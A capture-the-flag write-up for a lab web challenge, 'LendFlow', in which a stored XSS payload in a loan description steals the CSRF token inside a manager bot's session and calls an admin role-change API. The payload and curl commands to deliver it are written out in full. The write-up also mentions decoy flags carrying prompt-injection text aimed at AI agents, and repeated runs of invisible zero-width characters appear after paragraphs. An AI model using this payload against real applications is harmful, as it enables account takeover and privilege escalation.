← Back to Writeups
CUSTOMMediumWeb

LendFlow

XESXOR9/2/20264 min read
#web#custom#medium#admin_bot_exploitation#api_endpoint_discovery_via_js#csrf_token_extraction_in_xss#privilege_escalation_via_role_#robots_txt_enumeration#stored_xss_injection

LendFlow

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_bot_exploitation, api_endpoint_discovery_via_js, csrf_token_extraction_in_xss, privilege_escalation_via_role_api, robots_txt_enumeration, stored_xss_injection

Summary

Walkthrough of the CUSTOM Web LendFlow. Task: Loan origination platform with stored XSS in purchase_description field and admin role-change API exposed in frontend JS. Solution: Inject XSS payload that extracts CSRF token and calls PUT /api

Description

LendFlow is a loan origination platform used by FlowFin Technologies to manage loan applications from submission through approval. Employees create loan applications with customer details, and managers review and approve them through an internal workflow. The platform has role-based access control with employee, manager, and admin tiers. You have been given credentials for a regular employee account. There is sensitive data accessible only to admin users. Your goal is to find a way to escalate your privileges and access the restricted admin functionality. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A loan management web application with role-based access (employee/manager/admin). Given employee credentials, the goal is to escalate to admin and access restricted system reports containing the flag.

Analysis

Application Stack

  • Backend: Express.js with EJS templates
  • Session: connect.sid cookie with HttpOnly flag (prevents cookie theft via XSS)
  • CSRF protection: _csrf tokens embedded in forms and a <meta name="csrf-token"> tag; AJAX requests require CSRF-Token header
  • Roles: employee → manager → admin ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reconnaissance

robots.txt revealed hidden admin endpoints:

Disallow: /api/admin/
Disallow: /admin/
Disallow: /api/admin/system-report
Disallow: /api/admin/users

Frontend JavaScript (/js/app.js) exposed the full admin API surface:

  • GET /api/admin/users — list all users
  • PUT /api/admin/users/:id/role — change any user's role (the critical endpoint)
  • GET /api/admin/system-report — system report (contains the flag)

All admin endpoints return {"error":"Admin access required"} for non-admin users. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

User Context

From the /settings page: logged-in user is Sarah Mitchell, role=employee, User ID #1.

Stored XSS Vector

The loan creation form (/loans/new) has a purchase_description textarea with the hint: "Supports rich text formatting." This field is rendered unescaped on the loan detail page (/loans/:id) — the EJS template uses <%- purchase_description %> instead of <%= purchase_description %>, allowing arbitrary HTML/JavaScript injection.

Bot Workflow

When an employee submits a loan for review via POST /loans/:id/request-review, a manager bot automatically visits the loan detail page within ~30 seconds to review it. Any JavaScript in the rendered page executes in the manager's authenticated browser session. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Decoy Flags

Every page contains decoy flags in HTML comments and hidden divs: FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} with prompt injection text attempting to trick AI agents. These were identified and ignored.

Why Cookie Theft Won't Work

The connect.sid session cookie has the HttpOnly flag set, making it inaccessible to JavaScript. Instead of stealing the session, the attack must perform actions within the manager's browser context.

Solution

Step 1: Login

Authenticate with the provided credentials: user@test.com / password123. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Craft XSS Payload

The payload must:

  1. Extract the CSRF token from the page's <meta name="csrf-token"> tag
  2. Call PUT /api/admin/users/1/role to change our user (ID #1) to admin
  3. Include the CSRF token in both the CSRF-Token header and request body
html
<img src=x onerror="var t=document.querySelector('meta[name=csrf-token]').content;fetch('/api/admin/users/1/role',{method:'PUT',headers:{'Content-Type':'application/json','CSRF-Token':t},credentials:'same-origin',body:JSON.stringify({role:'admin',_csrf:t})})">

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The <img src=x onerror=...> pattern is used because it executes immediately when the DOM renders the broken image, without requiring <script> tags (which some sanitizers might strip).

Step 3: Create Loan Application

Submit a new loan via POST /loans with the XSS payload in the purchase_description field:

bash
# Login and get session cookie
curl -c cookies.txt -X POST "$URL/login" \
  -d "email=user@test.com&password=password123&_csrf=$CSRF"

# Create loan with XSS payload in purchase_description
curl -b cookies.txt -X POST "$URL/loans" \
  -d "applicant_name=Test&loan_type=personal&amount=10000&term_months=12&_csrf=$CSRF" \
  --data-urlencode 'purchase_description=<img src=x onerror="var t=document.querySelector(&quot;meta[name=csrf-token]&quot;).content;fetch(&quot;/api/admin/users/1/role&quot;,{method:&quot;PUT&quot;,headers:{&quot;Content-Type&quot;:&quot;application/json&quot;,&quot;CSRF-Token&quot;:t},credentials:&quot;same-origin&quot;,body:JSON.stringify({role:&quot;admin&quot;,_csrf:t})})">'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Submit for Review

Trigger the bot by submitting the loan for manager review:

bash
curl -b cookies.txt -X POST "$URL/loans/$LOAN_ID/request-review" \
  -d "_csrf=$CSRF"

This changes the loan status from "Draft" to "Pending Review" and queues it for the manager bot.

Step 5: Wait for Bot → Privilege Escalation

After ~30 seconds, the manager bot visits /loans/$LOAN_ID. The XSS payload executes in the manager's browser:

  1. Reads the CSRF token from the page
  2. Sends PUT /api/admin/users/1/role with {role: "admin"} using the manager's session
  3. Our user's role is changed from employee to admin ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 6: Access Admin System Report

With admin privileges, fetch the system report:

bash
curl -b cookies.txt "$URL/api/admin/system-report"

Response:

json
{
  "report_id": "SR-MP5J75C4",
  "generated_at": "2026-05-14T13:35:45.604Z",
  "platform": "LendFlow v1.0.3",
  "environment": "production",
  "statistics": {
    "total_users": 5,
    "total_loans": 14,
    "total_clients": 16,
    "total_loan_value": 2118000,
    "approval_rate": 35.7,
    "system_key": "FLAG{REDACTED}",
    "license": {
      "tier": "Enterprise",
      "seats": 50,
      "expires": "2027-12-31"
    }
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering admin_bot_exploitation, api_endpoint_discovery_via_js, csrf_token_extraction_in_xss, privilege_escalation_via_role_api, robots_txt_enumeration, stored_xss_injection was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • LendFlow • Difficulty: Medium